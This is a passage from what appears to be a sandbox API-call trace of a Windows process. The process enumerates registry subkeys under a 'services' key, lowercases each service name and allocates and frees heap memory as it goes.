lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.491] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.491] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.491] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0218.491] RegCloseKey (hKey=0x154) returned 0x0 [0218.491] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0218.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.492] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0218.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.493] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.494] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0218.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.495] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.496] RtlFreeHeap 